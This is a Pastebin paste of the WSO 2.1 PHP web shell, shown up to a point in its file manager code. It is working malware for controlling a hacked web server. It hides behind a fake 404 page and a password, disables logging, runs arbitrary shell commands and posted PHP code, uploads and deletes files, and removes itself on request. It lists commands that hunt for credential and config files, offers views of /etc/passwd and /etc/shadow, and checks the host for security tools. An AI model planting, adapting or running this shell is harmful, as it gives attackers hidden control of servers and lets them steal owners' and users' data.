ruben_linux

webshell

Aug 22nd, 2012
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 72.62 KB | None | 0 0
  1. <?php
  2. /* WSO 2.1 (Web Shell by pgems.in) */
  3. /*Subhashdasyam.com*/
  4. /*$auth_pass = "36028fcd4abb97e9e4f47d929ddc9980";*/
  5. /*pass = HACKED*/
  6.  
  7. $auth_pass = "36028fcd4abb97e9e4f47d929ddc9980";
  8. $color = "#00ff00";
  9. $default_action = 'FilesMan';
  10. @define('SELF_PATH', __FILE__);
  11. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  12. header('HTTP/1.0 404 Not Found');
  13. exit;
  14. }
  15. @session_start();
  16. @error_reporting(0);
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @set_time_limit(0);
  21. @set_magic_quotes_runtime(0);
  22. @define('VERSION', '2.1');
  23. if( get_magic_quotes_gpc() ) {
  24. function stripslashes_array($array) {
  25. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  26. }
  27. $_POST = stripslashes_array($_POST);
  28. }
  29. function printLogin() {
  30. ?>
  31. <h1>Not Found</h1>
  32. <p>The requested URL was not found on this server.</p>
  33. <hr>
  34. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  35. <style>
  36. input { margin:0;background-color:#fff;border:1px solid #fff; }
  37. </style>
  38. <center>
  39. <form method=post>
  40. <input type=password name=pass>
  41. </form></center>
  42. <?php
  43. exit;
  44. }
  45. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  46. if( empty( $auth_pass ) ||
  47. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  48. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  49. else
  50. printLogin();
  51.  
  52. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  53. $os = 'win';
  54. else
  55. $os = 'nix';
  56. $safe_mode = @ini_get('safe_mode');
  57. $disable_functions = @ini_get('disable_functions');
  58. $home_cwd = @getcwd();
  59. if( isset( $_POST['c'] ) )
  60. @chdir($_POST['c']);
  61. $cwd = @getcwd();
  62. if( $os == 'win') {
  63. $home_cwd = str_replace("\\", "/", $home_cwd);
  64. $cwd = str_replace("\\", "/", $cwd);
  65. }
  66. if( $cwd[strlen($cwd)-1] != '/' )
  67. $cwd .= '/';
  68.  
  69. if($os == 'win')
  70. $aliases = array(
  71. "List Directory" => "dir",
  72. "Find index.php in current dir" => "dir /s /w /b index.php",
  73. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  74. "Show active connections" => "netstat -an",
  75. "Show running services" => "net start",
  76. "User accounts" => "net user",
  77. "Show computers" => "net view",
  78. "ARP Table" => "arp -a",
  79. "IP Configuration" => "ipconfig /all"
  80. );
  81. else
  82. $aliases = array(
  83. "List dir" => "ls -la",
  84. "list file attributes on a Linux second extended file system" => "lsattr -va",
  85. "show opened ports" => "netstat -an | grep -i listen",
  86. "Find" => "",
  87. "find all suid files" => "find / -type f -perm -04000 -ls",
  88. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  89. "find all sgid files" => "find / -type f -perm -02000 -ls",
  90. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  91. "find config.inc.php files" => "find / -type f -name config.inc.php",
  92. "find config* files" => "find / -type f -name \"config*\"",
  93. "find config* files in current dir" => "find . -type f -name \"config*\"",
  94. "find all writable folders and files" => "find / -perm -2 -ls",
  95. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  96. "find all service.pwd files" => "find / -type f -name service.pwd",
  97. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  98. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  99. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  100. "find all .bash_history files" => "find / -type f -name .bash_history",
  101. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  102. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  103. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  104. "Locate" => "",
  105. "locate httpd.conf files" => "locate httpd.conf",
  106. "locate vhosts.conf files" => "locate vhosts.conf",
  107. "locate proftpd.conf files" => "locate proftpd.conf",
  108. "locate psybnc.conf files" => "locate psybnc.conf",
  109. "locate my.conf files" => "locate my.conf",
  110. "locate admin.php files" =>"locate admin.php",
  111. "locate cfg.php files" => "locate cfg.php",
  112. "locate conf.php files" => "locate conf.php",
  113. "locate config.dat files" => "locate config.dat",
  114. "locate config.php files" => "locate config.php",
  115. "locate config.inc files" => "locate config.inc",
  116. "locate config.inc.php" => "locate config.inc.php",
  117. "locate config.default.php files" => "locate config.default.php",
  118. "locate config* files " => "locate config",
  119. "locate .conf files"=>"locate '.conf'",
  120. "locate .pwd files" => "locate '.pwd'",
  121. "locate .sql files" => "locate '.sql'",
  122. "locate .htpasswd files" => "locate '.htpasswd'",
  123. "locate .bash_history files" => "locate '.bash_history'",
  124. "locate .mysql_history files" => "locate '.mysql_history'",
  125. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  126. "locate backup files" => "locate backup",
  127. "locate dump files" => "locate dump",
  128. "locate priv files" => "locate priv"
  129. );
  130.  
  131. function printHeader() {
  132. if(empty($_POST['charset']))
  133. $_POST['charset'] = "UTF-8";
  134. global $color;
  135. ?>
  136. <html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?>-SubhashDasyam.com</title>
  137. <style>
  138. body {background-color:#000;color:#fff;}
  139. body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
  140. span,h1,a { color:<?=$color?> !important; }
  141. span { font-weight: bolder; }
  142. h1 { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
  143. div.content { padding: 5px;margin-left:5px;}
  144. a { text-decoration:none; }
  145. a:hover { background:#ff0000; }
  146. .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  147. .bigarea { width:100%;height:250px; }
  148. input, textarea, select { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
  149. form { margin:0px; }
  150. #toolsTbl { text-align:center; }
  151. .toolsInp { width: 80%; }
  152. .main th {text-align:left;}
  153. .main tr:hover{background-color:#5e5e5e;}
  154. .main td, th{vertical-align:middle;}
  155. pre {font-family:Courier,Monospace;}
  156. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  157. </style>
  158. <script>
  159. function set(a,c,p1,p2,p3,charset) {
  160. if(a != null)document.mf.a.value=a;
  161. if(c != null)document.mf.c.value=c;
  162. if(p1 != null)document.mf.p1.value=p1;
  163. if(p2 != null)document.mf.p2.value=p2;
  164. if(p3 != null)document.mf.p3.value=p3;
  165. if(charset != null)document.mf.charset.value=charset;
  166. }
  167. function g(a,c,p1,p2,p3,charset) {
  168. set(a,c,p1,p2,p3,charset);
  169. document.mf.submit();
  170. }
  171. function a(a,c,p1,p2,p3,charset) {
  172. set(a,c,p1,p2,p3,charset);
  173. var params = "ajax=true";
  174. for(i=0;i<document.mf.elements.length;i++)
  175. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  176. sr('<?=$_SERVER['REQUEST_URI'];?>', params);
  177. }
  178. function sr(url, params) {
  179. if (window.XMLHttpRequest) {
  180. req = new XMLHttpRequest();
  181. req.onreadystatechange = processReqChange;
  182. req.open("POST", url, true);
  183. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  184. req.send(params);
  185. }
  186. else if (window.ActiveXObject) {
  187. req = new ActiveXObject("Microsoft.XMLHTTP");
  188. if (req) {
  189. req.onreadystatechange = processReqChange;
  190. req.open("POST", url, true);
  191. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  192. req.send(params);
  193. }
  194. }
  195. }
  196. function processReqChange() {
  197. if( (req.readyState == 4) )
  198. if(req.status == 200) {
  199. //alert(req.responseText);
  200. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  201. var arr=reg.exec(req.responseText);
  202. eval(arr[2].substr(0, arr[1]));
  203. }
  204. else alert("Request error!");
  205. }
  206. </script>
  207. <head><body><div style="position:absolute;width:100%;top:0;left:0;">
  208. <form method=post name=mf style='display:none;'>
  209. <input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
  210. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  211. <input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
  212. <input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
  213. <input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
  214. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  215. </form>
  216. <?php
  217. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  218. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  219. $totalSpace = $totalSpace?$totalSpace:1;
  220. $release = @php_uname('r');
  221. $kernel = @php_uname('s');
  222. $millink='http://milw0rm.com/search.php?dong=';
  223. if( strpos('Linux', $kernel) !== false )
  224. $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  225. else
  226. $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
  227. if(!function_exists('posix_getegid')) {
  228. $user = @get_current_user();
  229. $uid = @getmyuid();
  230. $gid = @getmygid();
  231. $group = "?";
  232. } else {
  233. $uid = @posix_getpwuid(@posix_geteuid());
  234. $gid = @posix_getgrgid(@posix_getegid());
  235. $user = $uid['name'];
  236. $uid = $uid['uid'];
  237. $group = $gid['name'];
  238. $gid = $gid['gid'];
  239. }
  240. $cwd_links = '';
  241. $path = explode("/", $GLOBALS['cwd']);
  242. $n=count($path);
  243. for($i=0;$i<$n-1;$i++) {
  244. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  245. for($j=0;$j<=$i;$j++)
  246. $cwd_links .= $path[$j].'/';
  247. $cwd_links .= "\")'>".$path[$i]."/</a>";
  248. }
  249. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  250. $opt_charsets = '';
  251. foreach($charsets as $item)
  252. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  253. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  254. if(!empty($GLOBALS['auth_pass']))
  255. $m['Logout'] = 'Logout';
  256. $m['Self remove'] = 'SelfRemove';
  257. $menu = '';
  258. foreach($m as $k => $v)
  259. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  260. $drives = "";
  261. if ($GLOBALS['os'] == 'win') {
  262. foreach( range('a','z') as $drive )
  263. if (is_dir($drive.':\\'))
  264. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  265. }
  266. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname
  267. User
  268. Php
  269. Hdd
  270. Cwd'.($GLOBALS['os'] == 'win'?'
  271. Drives':'').'</span></td>'.
  272. '<td>:<nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr>
  273. :'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )
  274. :'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'
  275. :'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)
  276. :'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a>
  277. :'.$drives.'</td>'.
  278. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select>
  279. <span>Server IP:</span>
  280. '.gethostbyname($_SERVER["HTTP_HOST"]).'
  281. <span>Client IP:</span>
  282. '.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  283. '<table cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  284. }
  285.  
  286. function printFooter() {
  287. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  288. ?>
  289. </div>
  290. <table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%">
  291. <tr>
  292. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span>
  293. <input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
  294. <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span>
  295. <input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  296. </tr>
  297. <tr>
  298. <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span>
  299. <input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
  300. <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span>
  301. <input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  302. </tr>
  303. <tr>
  304. <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span>
  305. <input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  306. <td><form method='post' ENCTYPE='multipart/form-data'>
  307. <input type=hidden name=a value='FilesMAn'>
  308. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  309. <input type=hidden name=p1 value='uploadFile'>
  310. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  311. <span>Upload file:</span>
  312. <input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  313. </tr>
  314.  
  315. </table>
  316. </div>
  317. </body></html>
  318. <?php
  319. }
  320. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  321. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  322. function ex($in) {
  323. $out = '';
  324. if(function_exists('exec')) {
  325. @exec($in,$out);
  326. $out = @join("\n",$out);
  327. }elseif(function_exists('passthru')) {
  328. ob_start();
  329. @passthru($in);
  330. $out = ob_get_clean();
  331. }elseif(function_exists('system')) {
  332. ob_start();
  333. @system($in);
  334. $out = ob_get_clean();
  335. }elseif(function_exists('shell_exec')) {
  336. $out = shell_exec($in);
  337. }elseif(is_resource($f = @popen($in,"r"))) {
  338. $out = "";
  339. while(!@feof($f))
  340. $out .= fread($f,1024);
  341. pclose($f);
  342. }
  343. return $out;
  344. }
  345. function viewSize($s) {
  346. if($s >= 1073741824)
  347. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  348. elseif($s >= 1048576)
  349. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  350. elseif($s >= 1024)
  351. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  352. else
  353. return $s . ' B';
  354. }
  355.  
  356. function perms($p) {
  357. if (($p & 0xC000) == 0xC000)$i = 's';
  358. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  359. elseif (($p & 0x8000) == 0x8000)$i = '-';
  360. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  361. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  362. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  363. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  364. else $i = 'u';
  365. $i .= (($p & 0x0100) ? 'r' : '-');
  366. $i .= (($p & 0x0080) ? 'w' : '-');
  367. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  368. $i .= (($p & 0x0020) ? 'r' : '-');
  369. $i .= (($p & 0x0010) ? 'w' : '-');
  370. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  371. $i .= (($p & 0x0004) ? 'r' : '-');
  372. $i .= (($p & 0x0002) ? 'w' : '-');
  373. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  374. return $i;
  375. }
  376. function viewPermsColor($f) {
  377. if (!@is_readable($f))
  378. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  379. elseif (!@is_writable($f))
  380. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  381. else
  382. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  383. }
  384. if(!function_exists("scandir")) {
  385. function scandir($dir) {
  386. $dh = opendir($dir);
  387. while (false !== ($filename = readdir($dh))) {
  388. $files[] = $filename;
  389. }
  390. return $files;
  391. }
  392. }
  393. function which($p) {
  394. $path = ex('which '.$p);
  395. if(!empty($path))
  396. return $path;
  397. return false;
  398. }
  399. function actionSecInfo() {
  400. printHeader();
  401. echo '<h1>Server security information</h1><div class=content>';
  402. function showSecParam($n, $v) {
  403. $v = trim($v);
  404. if($v) {
  405. echo '<span>'.$n.': </span>';
  406. if(strpos($v, "\n") === false)
  407. echo $v.'
  408. ';
  409. else
  410. echo '<pre class=ml1>'.$v.'</pre>';
  411. }
  412. }
  413.  
  414. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  415. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  416. showSecParam('Open base dir', @ini_get('open_basedir'));
  417. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  418. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  419. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  420. $temp=array();
  421. if(function_exists('mysql_get_client_info'))
  422. $temp[] = "MySql (".mysql_get_client_info().")";
  423. if(function_exists('mssql_connect'))
  424. $temp[] = "MSSQL";
  425. if(function_exists('pg_connect'))
  426. $temp[] = "PostgreSQL";
  427. if(function_exists('oci_connect'))
  428. $temp[] = "Oracle";
  429. showSecParam('Supported databases', implode(', ', $temp));
  430. echo '
  431. ';
  432.  
  433. if( $GLOBALS['os'] == 'nix' ) {
  434. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  435. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  436. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  437. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  438. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  439. showSecParam('OS version', @file_get_contents('/proc/version'));
  440. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  441. if(!$GLOBALS['safe_mode']) {
  442. echo '
  443. ';
  444. $temp=array();
  445. foreach ($userful as $item)
  446. if(which($item)){$temp[]=$item;}
  447. showSecParam('Userful', implode(', ',$temp));
  448. $temp=array();
  449. foreach ($danger as $item)
  450. if(which($item)){$temp[]=$item;}
  451. showSecParam('Danger', implode(', ',$temp));
  452. $temp=array();
  453. foreach ($downloaders as $item)
  454. if(which($item)){$temp[]=$item;}
  455. showSecParam('Downloaders', implode(', ',$temp));
  456. echo '
  457. ';
  458. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  459. showSecParam('HDD space', ex('df -h'));
  460. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  461. }
  462. } else {
  463. showSecParam('OS Version',ex('ver'));
  464. showSecParam('Account Settings',ex('net accounts'));
  465. showSecParam('User Accounts',ex('net user'));
  466. }
  467. echo '</div>';
  468. printFooter();
  469. }
  470.  
  471. function actionPhp() {
  472. if( isset($_POST['ajax']) ) {
  473. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  474. ob_start();
  475. eval($_POST['p1']);
  476. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  477. echo strlen($temp), "\n", $temp;
  478. exit;
  479. }
  480. printHeader();
  481. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  482. echo '<h1>PHP info</h1><div class=content>';
  483. ob_start();
  484. phpinfo();
  485. $tmp = ob_get_clean();
  486. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  487. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  488. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  489. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  490. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  491. echo $tmp;
  492. echo '</div>
  493. ';
  494. }
  495. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  496. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  497. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  498. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  499. if(!empty($_POST['p1'])) {
  500. ob_start();
  501. eval($_POST['p1']);
  502. echo htmlspecialchars(ob_get_clean());
  503. }
  504. echo '</pre></div>';
  505. printFooter();
  506. }
  507.  
  508. function actionFilesMan() {
  509. printHeader();
  510. echo '<h1>File manager</h1><div class=content>';
  511. if(isset($_POST['p1'])) {
  512. switch($_POST['p1']) {
  513. case 'uploadFile':
  514. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  515. echo "Can't upload file!";
  516. break;
  517. break;
  518. case 'mkdir':
  519. if(!@mkdir($_POST['p2']))
  520. echo "Can't create new dir";
  521. break;
  522. case 'delete':
  523. function deleteDir($path) {
  524. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  525. $dh = opendir($path);
  526. while ( ($item = readdir($dh) ) !== false) {
  527. $item = $path.$item;
  528. if ( (basename($item) == "..") || (basename($item) == ".") )
  529. continue;
  530. $type = filetype($item);
  531. if ($type == "dir")
  532. deleteDir($item);
  533. else
  534. @unlink($item);
  535. }
  536. closedir($dh);
  537. rmdir($path);
  538. }
  539. if(is_array(@$_POST['f']))
  540. foreach($_POST['f'] as $f) {
  541. $f = urldecode($f);
  542. if(is_dir($f))
  543. deleteDir($f);
  544. else
  545. @unlink($f);
  546. }
  547. break;
  548. case 'paste':
  549. if($_SESSION['act'] == 'copy') {
  550. function copy_paste($c,$s,$d){
  551. if(is_dir($c.$s)){
  552. mkdir($d.$s);
  553. $h = opendir($c.$s);
  554. while (($f = readdir($h)) !== false)
  555. if (($f != ".") and ($f != "..")) {
  556. copy_paste($c.$s.'/',$f, $d.$s.'/');
  557. }
  558. } elseif(is_file($c.$s)) {
  559. @copy($c.$s, $d.$s);
  560. }
  561. }
  562. foreach($_SESSION['f'] as $f)
  563. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  564. } elseif($_SESSION['act'] == 'move') {
  565. function move_paste($c,$s,$d){
  566. if(is_dir($c.$s)){
  567. mkdir($d.$s);
  568. $h = opendir($c.$s);
  569. while (($f = readdir($h)) !== false)
  570. if (($f != ".") and ($f != "..")) {
  571. copy_paste($c.$s.'/',$f, $d.$s.'/');
  572. }
  573. } elseif(is_file($c.$s)) {
  574. @copy($c.$s, $d.$s);
  575. }
  576. }
  577. foreach($_SESSION['f'] as $f)
  578. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  579. }
  580. unset($_SESSION['f']);
  581. break;
  582. default:
  583. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  584. $_SESSION['act'] = @$_POST['p1'];
  585. $_SESSION['f'] = @$_POST['f'];
  586. foreach($_SESSION['f'] as $k => $f)
  587. $_SESSION['f'][$k] = urldecode($f);
  588. $_SESSION['cwd'] = @$_POST['c'];
  589. }
  590. break;
  591. }
  592. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  593. }
  594. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  595. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  596. global $sort;
  597. $sort = array('name', 1);
  598. if(!empty($_POST['p1'])) {
  599. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  600. $sort = array($match[1], (int)$match[2]);
  601. }
  602. ?>
  603. <script>
  604. function sa() {
  605. for(i=0;i<document.files.elements.length;i++)
  606. if(document.files.elements[i].type == 'checkbox')
  607. document.files.elements[i].checked = document.files.elements[0].checked;
  608. }
  609. </script>
  610. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  611. <form name=files method=post>
  612. <?php
  613. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  614. $dirs = $files = $links = array();
  615. $n = count($dirContent);
  616. for($i=0;$i<$n;$i++) {
  617. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  618. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  619. $tmp = array('name' => $dirContent[$i],
  620. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  621. 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  622. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  623. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  624. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  625. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  626. );
  627. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  628. $files[] = array_merge($tmp, array('type' => 'file'));
  629. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  630. $links[] = array_merge($tmp, array('type' => 'link'));
  631. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  632. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  633. }
  634. $GLOBALS['sort'] = $sort;
  635. function cmp($a, $b) {
  636. if($GLOBALS['sort'][0] != 'size')
  637. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  638. else
  639. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  640. }
  641. usort($files, "cmp");
  642. usort($dirs, "cmp");
  643. usort($links, "cmp");
  644. $files = array_merge($dirs, $links, $files);
  645. $l = 0;
  646. foreach($files as $f) {
